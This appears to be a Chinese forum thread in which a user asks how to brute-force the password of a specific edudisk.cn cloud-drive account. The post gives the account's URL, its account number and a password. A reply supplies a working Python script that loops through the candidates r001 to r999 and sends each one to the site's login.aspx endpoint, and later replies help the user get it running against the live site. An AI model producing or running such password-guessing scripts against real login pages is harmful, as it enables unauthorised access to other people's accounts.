有何方法自动穷举输入密码
本帖最后由 梦回楚水 于 2021-6-18 22:34 编辑http://2069910086.edudisk.cn/
正确密码:r888
需求:自动输入r001~r999,正确的提示出来。
http://edudisk.cn/
账号:2069910086
密码:r888
POST{:5_121:} 不行的一般 网盘都有防止穷举的 一会就不让你访问了 用r+随机数字,用不重复集合来判断随机数字是否已经产生,然后进行拼接,发get请求,带密码相关参数,获取响应后,判断密码是否正确 # coding=utf-8
import requests
import time
def ss(str):
r = requests.get("http://2069910086.edudisk.cn/login.aspx?username=2069910086&password=" + str + "&ValidateCode=")
if r.text.find(U"错误的用户名或密码") == -1:
print(str)
exit()
else:
return
if __name__ == '__main__':
for i in range(1, 1000):
if len(str(i)) == 1:
aa = "r00" + str(i)
elif len(str(i)) == 2:
aa = "r0" + str(i)
elif len(str(i)) == 3:
aa = "r"+str(i)
ss(aa)
print (aa)
#time.sleep(0.5)
何种编程语言不同,以易语言为例,计次循环999次,已循环次数为n,根据抓包得到的访问方式post或get提交r+到文本(n)就行了 独鲨 发表于 2021-6-18 16:00
# coding=utf-8
大神好像不运行~帮忙在指导下~
梦回楚水 发表于 2021-6-18 22:37
大神好像不运行~帮忙在指导下~
你没安装requests库输入 pip install requests
独鲨 发表于 2021-6-19 02:51
你没安装requests库输入 pip install requests
可以筛选了,但是出现正确值,就会自动关闭窗口。
页:
[1]